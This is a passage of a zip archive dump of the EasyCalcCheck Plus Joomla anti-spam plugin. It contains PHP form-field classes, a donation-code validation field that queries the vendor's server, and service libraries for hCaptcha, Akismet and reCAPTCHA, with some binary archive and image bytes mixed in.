     * Returns the label with the title and description, and adds required CSS classes and instructions.
     *
     * @return string
     */
    protected function getLabel(): string
    {
        // Use static variable to execute the CSS instruction only once
        static $executeOnce = false;

        if (empty($executeOnce)) {
            $document = Factory::getDocument();

            // Set label instruction only for option tabs
            $fieldsets = $this->form->getFieldsets();

            foreach ($fieldsets as $fieldset) {
                $scriptDeclaration = 'jQuery(function($){$("div#attrib-' . $fieldset->name . ' .control-label:has(.clr)").addClass("krtitle");});';

                if (empty($this->group)) {
                    $scriptDeclaration = 'jQuery(function($){$("div#' . $fieldset->name . ' .control-label:has(.clr)").addClass("krtitle");});';
                }

                $document->addScriptDeclaration($scriptDeclaration);
                $document->addStyleDeclaration('div#attrib-' . $fieldset->name . ' .control-label.krtitle, div#' . $fieldset->name . ' .control-label.krtitle {width: 100%;} div#attrib-' . $fieldset->name . ' .control-label, div#' . $fieldset->name . ' .control-label {width: 20em;} div#attrib-' . $fieldset->name . ' label, div#' . $fieldset->name . ' label {width: 20em;}');
            }

            $document->addScriptDeclaration('jQuery(function($){$(".control-group:has(.krtitle-hidden)").remove();});');
            $document->addStyleDeclaration('div.krtitle-title {padding: 5px 5px 5px 0; font-size: 16px; font-weight: bold;} div.krtitle-title.sub {font-size: 14px;} div.krtitle-description {padding: 5px 5px 5px 0; font-size: 14px;}');

            $executeOnce = true;
        }

        $filterDonationCode = (string)$this->element['filter'];

        if ($filterDonationCode === 'donation') {
            $fieldValueSession = Factory::getSession()->get('field_value', '', 'krdonationcodecheck');

            if ($fieldValueSession === 1) {
                return '<div class="krtitle-hidden"></div>';
            }
        }

        $label = '<div class="clr"></div>';

        if ($this->element['label']) {
            $classSub = '';

            if (isset($this->element['titleType'])) {
                $classSub = (string)$this->element['titleType'];
            }

            $label .= '<div class="krtitle-title ' . $classSub . '">' . Text::_((string)$this->element['label']) . '</div>';
        } else {
            $label .= parent::getLabel();
        }

        if ($this->element['description']) {
            $label .= '<div class="krtitle-description">' . Text::_((string)$this->element['description']) . '</div>';
        }

        return $label;
    }

    /**
     * Don't use an input field.
     *
     * @return string
     */
    protected function getInput(): string
    {
        return '';
    }
}
PK!�|�PP,easycalccheckplus/src/fields/krprobutton.phpnu�[���<?php

/**
 * @copyright
 * @package     Field - Kubik-Rubik Pro Available
 * @author      Viktor Vogel <admin@kubik-rubik.de>
 * @version     Joomla! 3 - 3.1.1 - 2020-05-22
 * @link        https://kubik-rubik.de/
 *
 * @license     GNU/GPL
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('JPATH_PLATFORM') || die('Restricted access');

use Joomla\CMS\{Form\FormField, Factory};

/**
 * Form Field class for Kubik-Rubik Joomla! Extensions.
 * Adds a Pro action button with a link to the Pro landing page.
 */
class JFormFieldKrProButton extends FormField
{
    protected $type = 'krProButton';

    protected function getLabel()
    {
        return '';
    }

    protected function getInput()
    {
        $proLink = 'https://kubik-rubik.de/pro';

        if (Factory::getApplication()->getLanguage()->getTag() === 'de-DE') {
            $proLink = 'https://kubik-rubik.de/de/pro';
        }

        if (!empty($this->fieldname)) {
            $proLink .= '?extension=' . $this->fieldname;
        }

        $proButton = '<div class="btn-wrapper" id="toolbar-pro"><a href="' . $proLink . '" title="Kubik-Rubik Joomla! Pro Extensions" target="_blank"><button class="btn btn-small btn-inverse"><span class="icon-cube icon-white" aria-hidden="true"></span> PRO</button></a></div>';

        $document = Factory::getDocument();
        $scriptDeclaration = 'jQuery(function($){$("#toolbar").append(\'' . $proButton . '\');});';
        $document->addScriptDeclaration($scriptDeclaration);

        return '';
    }
}
PK!�����"�"4easycalccheckplus/src/fields/krdonationcodecheck.phpnu�[���<?php

/**
 * @copyright
 * @package     Field - Donation Code Check
 * @author      Viktor Vogel <admin@kubik-rubik.de>
 * @version     Joomla! 3 - 3.3.1 - 2020-05-22
 * @link        https://kubik-rubik.de/
 *
 * @license     GNU/GPL
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('JPATH_PLATFORM') || die('Restricted access');

use Joomla\CMS\{Form\FormField, Factory, Uri\Uri, Language\Text, User\UserHelper, Http\HttpFactory};
use Joomla\Registry\Registry;

/**
 * Form Field class for Kubik-Rubik Joomla! Extensions.
 * Provides a donation code check.
 */
class JFormFieldKrDonationCodeCheck extends FormField
{
    protected $type = 'krDonationCodeCheck';
    protected $validationDomain = 'https://check.kubik-rubik.de';
    protected $validationDomainFallBack = 'http://check.kubik-rubik.eu';

    /**
     * @return mixed|string
     */
    protected function getInput()
    {
        $fieldSet = $this->form->getFieldset();
        $donationCode = '';

        if (empty($this->group)) {
            $donationCode = $fieldSet['jform_donation_code']->value;
        } elseif ($this->group == 'params') {
            $donationCode = $fieldSet['jform_params_donation_code']->value;
        }

        $session = Factory::getSession();
        $fieldValueSession = $session->get('field_value', '', 'krdonationcodecheck');
        $fieldValueHeadSession = $session->get('field_value_head', '', 'krdonationcodecheck');
        $donationCodeSession = $session->get('donation_code', '', 'krdonationcodecheck');

        if ($fieldValueSession === 1 && ($donationCode === $donationCodeSession)) {
            $fieldValue = '';

            if ($this->id == 'jform_params_donation' || $this->id == 'jform_donation') {
                $fieldValue .= '<div class="' . $this->randomClassName($session, 'success') . '">' . Text::_('KR_DONATION_CODE_CHECK_SUCCESS') . '</div>';
                $this->setHeadDataSession($session);
            }

            return $fieldValue;
        } elseif (!empty($fieldValueSession) && !empty($fieldValueHeadSession) && ($donationCode == $donationCodeSession)) {
            $this->addHeadData($fieldValueHeadSession);

            return $fieldValueSession;
        }

        $session->clear('field_value', 'krdonationcodecheck');
        $session->clear('field_value_head', 'krdonationcodecheck');
        $session->clear('donation_code', 'krdonationcodecheck');

        $host = Uri::getInstance()->getHost();
        $session->set('donation_code', $donationCode, 'krdonationcodecheck');

        if ($host == 'localhost') {
            $fieldValue = '<div class="' . $this->randomClassName($session) . '">' . Text::_('KR_DONATION_CODE_CHECK_DEFAULT_LOCALHOST') . '</div>';

            if (!empty($donationCode)) {
                $fieldValue .= '<div class="' . $this->randomClassName($session, 'warning') . '">' . Text::_('KR_DONATION_CODE_CHECK_ERROR_LOCALHOST') . '</div>';
            }

            $session->set('field_value', $fieldValue, 'krdonationcodecheck');
            $this->setHeadDataSession($session);

            return $fieldValue;
        }

        $donationCodeCheck = $this->getDonationCodeStatus($host, $donationCode);

        if ($donationCodeCheck !== 1) {
            $fieldValue = '<div class="' . $this->randomClassName($session) . '">' . Text::sprintf('KR_DONATION_CODE_CHECK_DEFAULT', $host) . '</div>';

            if ($donationCodeCheck === -1) {
                $fieldValue .= '<div class="' . $this->randomClassName($session, 'warning') . '">' . Text::_('KR_DONATION_CODE_CHECK_ERROR_SERVER') . '</div>';
            }

            if ($donationCodeCheck === -2) {
                $fieldValue .= '<div class="' . $this->randomClassName($session, 'warning') . '">' . Text::_('KR_DONATION_CODE_CHECK_ERROR') . '</div>';
            }

            $session->set('field_value', $fieldValue, 'krdonationcodecheck');
            $this->setHeadDataSession($session);

            return $fieldValue;
        }

        $fieldValue = '';

        if ($this->id == 'jform_params_donation' || $this->id == 'jform_donation') {
            $fieldValue .= '<div class="' . $this->randomClassName($session, 'success') . '">' . Text::_('KR_DONATION_CODE_CHECK_SUCCESS') . '</div>';
        }

        $session->set('field_value', 1, 'krdonationcodecheck');
        $this->setHeadDataSession($session);

        return $fieldValue;
    }

    /**
     * Creates random classes for the div containers
     *
     * @param object $session
     * @param string $type
     *
     * @return string
     */
    private function randomClassName(object $session, $type = 'error'): string
    {
        $fieldValueHeadSession = $session->get('field_value_head', '', 'krdonationcodecheck');

        $characters = range('a', 'z');
        $className = $characters[mt_rand(0, count($characters) - 1)];
        $classNameLength = mt_rand(6, 12);
        $className .= UserHelper::genRandomPassword($classNameLength);

        $headData = '<style type="text/css">div.' . $className . '{border-radius: 2px; padding: 5px; font-size: 120%; margin: 4px 0 4px;';

        if ($type == 'error') {
            $headData .= ' border: 1px solid #DD87A2; background-color: #F9CAD9;';
        } elseif ($type == 'success') {
            $headData .= ' border: 1px solid #73F26F; background-color: #CBF7CA;';
        } elseif ($type == 'warning') {
            $headData .= ' border: 1px solid #F2DB82; background-color: #F7EECA;';
        }

        $headData .= '} @media(min-width:482px){div.' . $className . '{margin: 4px 0 4px -180px;}}</style>';

        $session->set('field_value_head', $fieldValueHeadSession . $headData, 'krdonationcodecheck');

        return $className;
    }

    /**
     * Sets the CSS instructions (stored in the session) to the head
     *
     * @param object $session
     */
    private function setHeadDataSession(object $session)
    {
        // Set the style data to the head of the page
        $fieldValueHeadSession = $session->get('field_value_head', '', 'krdonationcodecheck');

        if (!empty($fieldValueHeadSession)) {
            $this->addHeadData($fieldValueHeadSession);
        }
    }

    /**
     * Add the style data to the head
     *
     * @param string $data
     */
    private function addHeadData(string $data)
    {
        static $dataLoaded = false;

        if (empty($dataLoaded)) {
            $document = Factory::getDocument();
            $document->addCustomTag($data);

            $dataLoaded = true;
        }
    }

    /**
     * Check the entered donation code with the validation script that is located on a main and a fall back server
     *
     * @param string $host
     * @param string $donationCode
     *
     * @return int|string
     */
    private function getDonationCodeStatus(string $host, string $donationCode)
    {
        $donationCodeCheck = 0;

        if (HttpFactory::getAvailableDriver(new Registry) == false) {
            return -2;
        }

        if (!empty($host) && !empty($donationCode)) {
            // First try it with the main validation server and with HTTPS
            $urlCheck = $this->validationDomain . '/donationcode/validation.php?key=' . rawurlencode($donationCode) . '&host=' . rawurlencode($host);

            try {
                $donationCodeRequest = HttpFactory::getHttp()->get($urlCheck);
            } catch (Exception $e) {
                // Try it with the fall back server and without HTTPS
                $urlCheckFallback = $this->validationDomainFallBack . '/donationcode/validation.php?key=' . rawurlencode($donationCode) . '&host=' . rawurlencode($host);

                try {
                    $donationCodeRequest = HttpFactory::getHttp()->get($urlCheckFallback);
                } catch (Exception $e) {
                    return -1;
                }
            }

            if (!empty($donationCodeRequest->body)) {
                if (preg_match('@(error|access denied)@i', $donationCodeRequest->body)) {
                    return -1;
                }

                $donationCodeCheck = (int)$donationCodeRequest->body;
            }
        }

        return $donationCodeCheck;
    }

    /**
     * @return string
     */
    protected function getLabel()
    {
        return '';
    }
}
PK!̚FY��)easycalccheckplus/src/fields/question.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
    <fieldset name="question-subform">
        <field name="question" type="text" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONQ" description="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONQ_DESC"/>
        <field name="answer" type="text" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONA" description="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONA_DESC"/>
        <field name="languageTag" type="language" client="site" default="en-GB" label="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONLANGUAGE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONLANGUAGE_DESC"/>
    </fieldset>
</form>
PK!���;;+easycalccheckplus/src/libraries/warning.pngnu�[����PNG


IHDR(-SgAMA��7��tEXtSoftwareAdobe ImageReadyq�e<PLTE�����ν�Δ{{�ZB�RB�kc����R�����J����c9������!)�������R1��ƽ���c����!��)��kk���c����kJ���B��J��B��9��9��9��1��Ƶ��R��1��s��k��Z��c��Z��!�R����sZ���������ccZ����ZRƽ��R��J����֔ccc�ƌ�����B�J�����s����cck���������kc����R��R��������J�J�������k�֔����s�{s�R)��9�����9�B!����Z��!�c����c9�k�W�=tRNS@��f�IDATx�b`s��#ʈ�OK���BHLJNIC�cb�\����0���(�������@`������������0�������4����IWO��������$����������%��
�KHJII����KJ�+(20�������0���1pprA'pq�00��� ;#
`0��9�AIEND�B`�PK!&��5easycalccheckplus/src/libraries/services/hCaptcha.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * @license        GNU/GPL
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('_JEXEC') || die('Restricted access');

use Joomla\CMS\{Factory, Http\HttpFactory};
use Joomla\Registry\Registry;
use EasyCalcCheckPlus\Helper;

class hCaptcha
{
    /**
     * @var string $siteKey
     * @since 3.2.0-FREE
     */
    protected $siteKey = '';

    /**
     * @var string $secretKey
     * @since 3.2.0-FREE
     */
    protected $secretKey = '';

    /**
     * @var string $javaScriptUrl
     * @since 3.2.0-FREE
     */
    protected $javaScriptUrl = 'https://www.hCaptcha.com/1/api.js';

    /**
     * @var string $verifyURL
     * @since 3.2.0-FREE
     */
    protected $verifyURL = 'https://hcaptcha.com/siteverify';

    /**
     * hCaptacha constructor.
     *
     * @param string $siteKey
     * @param string $secret
     *
     * @since 3.2.0-FREE
     */
    public function __construct(string $siteKey, string $secret)
    {
        $this->siteKey = $siteKey;
        $this->secretKey = $secret;
    }

    /**
     * Gets the required JavaScript code for the head section to show the hCaptcha
     *
     * @return string
     * @since 3.2.0-FREE
     */
    public function getJavaScriptHead(): string
    {
        $languageCode = 'en-GB';
        $languageTag = Factory::getLanguage()->getTag();

        if ($languageCode !== $languageTag) {
            $languageCode = substr($languageTag, 0, 2);
        }

        return '<script src="' . $this->javaScriptUrl . '?hl=' . $languageCode . '" async defer></script>';
    }

    /**
     * Gets the required CSS code for the head section to show the hCaptcha
     *
     * @return string
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function getCssHead(): string
    {
        return '<style>.h-captcha{margin-top: 5px;}</style>';
    }

    /**
     * Gets the required HTML content code to show the hCaptcha
     *
     * @param string $theme
     *
     * @return string
     * @since 3.2.0-FREE
     */
    public function getHtmlContent(string $theme): string
    {
        return '<div class="h-captcha" data-sitekey="' . $this->siteKey . '" data-theme="' . $theme . '"></div>';
    }

    /**
     * Validates the intput against hCaptcha's verification server
     *
     * @return bool
     * @throws Exception
     * @since 3.2.0-FREE
     */
    public function validateInput(): bool
    {
        $requestToken = Factory::getApplication()->input->get('h-captcha-response', null, 'RAW');

        if (empty($requestToken)) {
            return false;
        }

        $data = [
            'secret'   => $this->secretKey,
            'response' => $requestToken,
            'remoteip' => Helper::getIpAddress(),
        ];

        $hCaptchaResponse = HttpFactory::getHttp(new Registry(), 'Curl')->post($this->verifyURL, $data);

        if (!empty($hCaptchaResponse->body)) {
            $hCaptchaResponseBody = json_decode($hCaptchaResponse->body);

            if (isset($hCaptchaResponseBody->success) && $hCaptchaResponseBody->success) {
                return true;
            }
        }

        return false;
    }
}
PK!V��=�=4easycalccheckplus/src/libraries/services/akismet.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus Pro - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * Akismet anti-comment spam service
 *
 * The class in this package allows use of the {@link http://akismet.com Akismet} anti-comment spam service in any PHP5 application.
 *
 * This service performs a number of checks on submitted data and returns whether or not the data is likely to be spam.
 *
 * Please note that in order to use this class, you must have a vaild {@link http://wordpress.com/api-keys/ WordPress API key}. They are free for non/small-profit types and getting one will only take a couple of minutes.
 *
 * For commercial use, please {@link http://akismet.com/commercial/ visit the Akismet commercial licensing page}.
 *
 * Please be aware that this class is PHP5 only. Attempts to run it under PHP4 will most likely fail.
 *
 * See the Akismet class documentation page linked to below for usage information.
 *
 * @package        akismet
 * @author         Alex Potsides, {@link http://www.achingbrain.net http://www.achingbrain.net}
 * @version        0.5
 * @copyright      Alex Potsides, {@link http://www.achingbrain.net http://www.achingbrain.net}
 * @license        http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * The Akismet PHP5 Class
 *
 * This class takes the functionality from the Akismet WordPress plugin written by {@link http://photomatt.net/ Matt Mullenweg} and allows it to be integrated into any PHP5 application or website.
 *
 * The original plugin is {@link http://akismet.com/download/ available on the Akismet website}.
 *
 * @package akismet
 * @name Akismet
 * @version 0.5
 * @author  Alex Potsides
 * @link    http://www.achingbrain.net/
 */
defined('_JEXEC') || die('Restricted access');

/**
 * Used internally by the Akismet class and to mock the Akismet anti spam service in
 * the unit tests.
 *
 * N.B. It is not necessary to implement this class to use the Akismet class.
 *
 * @package akismet
 * @name AkismetRequestSender
 * @version 0.5
 * @author  Alex Potsides
 * @link    http://www.achingbrain.net/
 */
interface AkismetRequestSender
{
    /**
     * Sends the data to the remote host.
     *
     * @param string $host           The host to send/receive data.
     * @param int    $port           The port on the remote host.
     * @param string $request        The data to send.
     * @param int    $responseLength The amount of data to read. Defaults to 1160 bytes.
     *
     * @throws An exception is thrown if a connection cannot be made to the remote host.
     * @returns The server response
     */
    public function send($host, $port, $request, $responseLength = 1160);
}

/**
 * Used internally by the Akismet class and to mock the Akismet anti spam service in
 * the unit tests.
 *
 * N.B. It is not necessary to implement this class to use the Akismet class.
 *
 * @package akismet
 * @name AkismetRequestFactory
 * @version 0.5
 * @author  Alex Potsides
 * @link    http://www.achingbrain.net/
 */
interface AkismetRequestFactory
{

    public function createRequestSender();
}

class Akismet
{
    private $version = '0.5';
    private $wordPressAPIKey;
    private $blogURL;
    private $comment;
    private $apiPort;
    private $akismetServer;
    private $akismetVersion;
    private $requestFactory;

    // This prevents some potentially sensitive information from being sent accross the wire.
    private $ignore = [
        'HTTP_COOKIE',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED_HOST',
        'HTTP_MAX_FORWARDS',
        'HTTP_X_FORWARDED_SERVER',
        'REDIRECT_STATUS',
        'SERVER_PORT',
        'PATH',
        'DOCUMENT_ROOT',
        'SERVER_ADMIN',
        'QUERY_STRING',
        'PHP_SELF',
    ];

    /**
     * @param string $blogURL         The URL of your blog.
     * @param string $wordPressAPIKey WordPress API key.
     */
    public function __construct($blogURL, $wordPressAPIKey)
    {
        $this->blogURL = $blogURL;
        $this->wordPressAPIKey = $wordPressAPIKey;

        // Set some default values
        $this->apiPort = 80;
        $this->akismetServer = 'rest.akismet.com';
        $this->akismetVersion = '1.1';
        $this->requestFactory = new SocketWriteReadFactory();

        // Start to populate the comment data
        $this->comment['blog'] = $blogURL;

        if (isset($_SERVER['HTTP_USER_AGENT'])) {
            $this->comment['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        }

        if (isset($_SERVER['HTTP_REFERER'])) {
            $this->comment['referrer'] = $_SERVER['HTTP_REFERER'];
        }

        /*
         * This is necessary if the server PHP5 is running on has been set up to run PHP4 and
         * PHP5 concurently and is actually running through a separate proxy al a these instructions:
         * http://www.schlitt.info/applications/blog/archives/83_How_to_run_PHP4_and_PHP_5_parallel.html
         * and http://wiki.coggeshall.org/37.html
         * Otherwise the user_ip appears as the IP address of the PHP4 server passing the requests to the
         * PHP5 one...
         */
        if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] != getenv('SERVER_ADDR')) {
            $this->comment['user_ip'] = $_SERVER['REMOTE_ADDR'];
        } else {
            $this->comment['user_ip'] = getenv('HTTP_X_FORWARDED_FOR');
        }
    }

    /**
     * Tests for spam.
     *
     * Uses the web service provided by {@link http://www.akismet.com Akismet} to see whether or not the submitted comment is spam. Returns a boolean value.
     *
     * @return bool True if the comment is spam, false if not
     * @throws exception throw an exception if the API key passed to the constructor is invalid.
     */
    public function isCommentSpam()
    {
        $response = $this->sendRequest($this->getQueryString(), $this->wordPressAPIKey . '.rest.akismet.com', '/' . $this->akismetVersion . '/comment-check');

        if ($response[1] == 'invalid' && !$this->isKeyValid()) {
            throw new exception('The Wordpress API key passed to the Akismet constructor is invalid. Please obtain a valid one from http://wordpress.com/api-keys/');
        }

        return ($response[1] == 'true');
    }

    // makes a request to the Akismet service
    private function sendRequest($request, $host, $path)
    {
        $http_request = "POST " . $path . " HTTP/1.0\r\n";
        $http_request .= "Host: " . $host . "\r\n";
        $http_request .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
        $http_request .= "Content-Length: " . strlen($request) . "\r\n";
        $http_request .= "User-Agent: Akismet PHP5 Class " . $this->version . " | Akismet/1.11\r\n";
        $http_request .= "\r\n";
        $http_request .= $request;

        $requestSender = $this->requestFactory->createRequestSender();
        $response = $requestSender->send($host, $this->apiPort, $http_request);

        return explode("\r\n\r\n", $response, 2);
    }

    // Formats the data for transmission
    private function getQueryString()
    {
        foreach ($_SERVER as $key => $value) {
            if (!in_array($key, $this->ignore)) {
                if ($key == 'REMOTE_ADDR') {
                    $this->comment[$key] = $this->comment['user_ip'];
                } else {
                    $this->comment[$key] = $value;
                }
            }
        }

        $query_string = '';

        foreach ($this->comment as $key => $data) {
            if (!is_array($data)) {
                $query_string .= $key . '=' . urlencode(stripslashes($data)) . '&';
            }
        }

        return $query_string;
    }

    /**
     * Makes a request to the Akismet service to see if the API key passed to the constructor is valid.
     *
     * Use this method if you suspect your API key is invalid.
     *
     * @return bool True is if the key is valid, false if not.
     */
    public function isKeyValid()
    {
        // Check to see if the key is valid
        $response = $this->sendRequest('key=' . $this->wordPressAPIKey . '&blog=' . $this->blogURL, $this->akismetServer, '/' . $this->akismetVersion . '/verify-key');

        return $response[1] == 'valid';
    }

    /**
     * Submit spam that is incorrectly tagged as ham.
     *
     * Using this function will make you a good citizen as it helps Akismet to learn from its mistakes. This will improve the service for everybody.
     */
    public function submitSpam()
    {
        $this->sendRequest($this->getQueryString(), $this->wordPressAPIKey . '.' . $this->akismetServer, '/' . $this->akismetVersion . '/submit-spam');
    }

    /**
     * Submit ham that is incorrectly tagged as spam.
     *
     * Using this function will make you a good citizen as it helps Akismet to learn from its mistakes. This will improve the service for everybody.
     */
    public function submitHam()
    {
        $this->sendRequest($this->getQueryString(), $this->wordPressAPIKey . '.' . $this->akismetServer, '/' . $this->akismetVersion . '/submit-ham');
    }

    /**
     * To override the user IP address when submitting spam/ham later on
     *
     * @param string $userip An IP address. Optional.
     */
    public function setUserIP($userip)
    {
        $this->comment['user_ip'] = $userip;
    }

    /**
     * To override the referring page when submitting spam/ham later on
     *
     * @param string $referrer The referring page. Optional.
     */
    public function setReferrer($referrer)
    {
        $this->comment['referrer'] = $referrer;
    }

    /**
     * A permanent URL referencing the blog post the comment was submitted to.
     *
     * @param string $permalink The URL. Optional.
     */
    public function setPermalink($permalink)
    {
        $this->comment['permalink'] = $permalink;
    }

    /**
     * The type of comment being submitted.
     *
     * May be blank, comment, trackback, pingback, or a made up value like "registration" or "wiki".
     */
    public function setCommentType($commentType)
    {
        $this->comment['comment_type'] = $commentType;
    }

    /**
     * The name that the author submitted with the comment.
     */
    public function setCommentAuthor($commentAuthor)
    {
        $this->comment['comment_author'] = $commentAuthor;
    }

    /**
     * The email address that the author submitted with the comment.
     *
     * The address is assumed to be valid.
     */
    public function setCommentAuthorEmail($authorEmail)
    {
        $this->comment['comment_author_email'] = $authorEmail;
    }

    /**
     * The URL that the author submitted with the comment.
     */
    public function setCommentAuthorURL($authorURL)
    {
        $this->comment['comment_author_url'] = $authorURL;
    }

    /**
     * The comment's body text.
     */
    public function setCommentContent($commentBody)
    {
        $this->comment['comment_content'] = $commentBody;
    }

    /**
     * Lets you override the user agent used to submit the comment.
     * you may wish to do this when submitting ham/spam.
     * Defaults to $_SERVER['HTTP_USER_AGENT']
     */
    public function setCommentUserAgent($userAgent)
    {
        $this->comment['user_agent'] = $userAgent;
    }

    /**
     * Defaults to 80
     */
    public function setAPIPort($apiPort)
    {
        $this->apiPort = $apiPort;
    }

    /**
     * Defaults to rest.akismet.com
     */
    public function setAkismetServer($akismetServer)
    {
        $this->akismetServer = $akismetServer;
    }

    /**
     * Defaults to '1.1'
     *
     * @param string $akismetVersion
     */
    public function setAkismetVersion($akismetVersion)
    {
        $this->akismetVersion = $akismetVersion;
    }

    /**
     * Used by unit tests to mock transport layer
     *
     * @param AkismetRequestFactory $requestFactory
     */
    public function setRequestFactory($requestFactory)
    {
        $this->requestFactory = $requestFactory;
    }

}

/**
 * Used internally by Akismet
 *
 * This class is used by Akismet to do the actual sending and receiving of data. It opens a connection to a remote host, sends some data and the reads the response and makes it available to the calling program.
 *
 * The code that makes up this class originates in the Akismet WordPress plugin, which is {@link http://akismet.com/download/ available on the Akismet website}.
 *
 * N.B. It is not necessary to call this class directly to use the Akismet class.
 *
 * @package akismet
 * @name SocketWriteRead
 * @version 0.5
 * @author  Alex Potsides
 * @link    http://www.achingbrain.net/
 */
class SocketWriteRead implements AkismetRequestSender
{
    private $response;
    private $errorNumber;
    private $errorString;

    public function __construct()
    {
        $this->errorNumber = 0;
        $this->errorString = '';
    }

    /**
     * Sends the data to the remote host.
     *
     * @param string $host           The host to send/receive data.
     * @param int    $port           The port on the remote host.
     * @param string $request        The data to send.
     * @param int    $responseLength The amount of data to read. Defaults to 1160 bytes.
     *
     * @throws An exception is thrown if a connection cannot be made to the remote host.
     * @returns The server response
     */
    public function send($host, $port, $request, $responseLength = 1160)
    {
        $response = '';

        $fs = fsockopen($host, $port, $this->errorNumber, $this->errorString, 3);

        if ($this->errorNumber != 0) {
            throw new Exception('Error connecting to host: ' . $host . ' Error number: ' . $this->errorNumber . ' Error message: ' . $this->errorString);
        }

        if ($fs !== false) {
            @fwrite($fs, $request);

            while (!feof($fs)) {
                $response .= fgets($fs, $responseLength);
            }

            fclose($fs);
        }

        return $response;
    }

    /**
     * Returns the server response text
     *
     * @return string
     */
    public function getResponse()
    {
        return $this->response;
    }

    /**
     * Returns the error number
     *
     * If there was no error, 0 will be returned.
     *
     * @return int
     */
    public function getErrorNumner()
    {
        return $this->errorNumber;
    }

    /**
     * Returns the error string
     *
     * If there was no error, an empty string will be returned.
     *
     * @return string
     */
    public function getErrorString()
    {
        return $this->errorString;
    }

}

/**
 * Used internally by the Akismet class and to mock the Akismet anti spam service in
 * the unit tests.
 *
 * N.B. It is not necessary to call this class directly to use the Akismet class.
 *
 * @package akismet
 * @name SocketWriteReadFactory
 * @version 0.5
 * @author  Alex Potsides
 * @link    http://www.achingbrain.net/
 */
class SocketWriteReadFactory implements AkismetRequestFactory
{

    public function createRequestSender()
    {
        return new SocketWriteRead();
    }

}
PK!<i�9easycalccheckplus/src/libraries/services/recaptchalib.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus Pro - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * This is a PHP library that handles calling reCAPTCHA.
 *    - Documentation and latest version
 *          https://developers.google.com/recaptcha/docs/php
 *    - Get a reCAPTCHA API Key
 *          https://www.google.com/recaptcha/admin/create
 *    - Discussion group
 *          http://groups.google.com/group/recaptcha
 *
 * @copyright      Copyright (c) 2014, Google Inc.
 * @link           http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
defined('_JEXEC') || die('Restricted access');

/**
 * A ReCaptchaResponse is returned from checkAnswer().
 */
class ReCaptchaResponse
{
    public $success;
    public $errorCodes;
}

class ReCaptcha
{
    private static $_signupUrl = "https://www.google.com/recaptcha/admin";
    private static $_siteVerifyUrl = "https://www.google.com/recaptcha/api/siteverify?";
    private static $_version = "php_1.0";
    private $_secret;

    /**
     * Constructor.
     *
     * @param string $secret shared secret between site and ReCAPTCHA server.
     */
    public function __construct($secret)
    {
        if ($secret == null || $secret == "") {
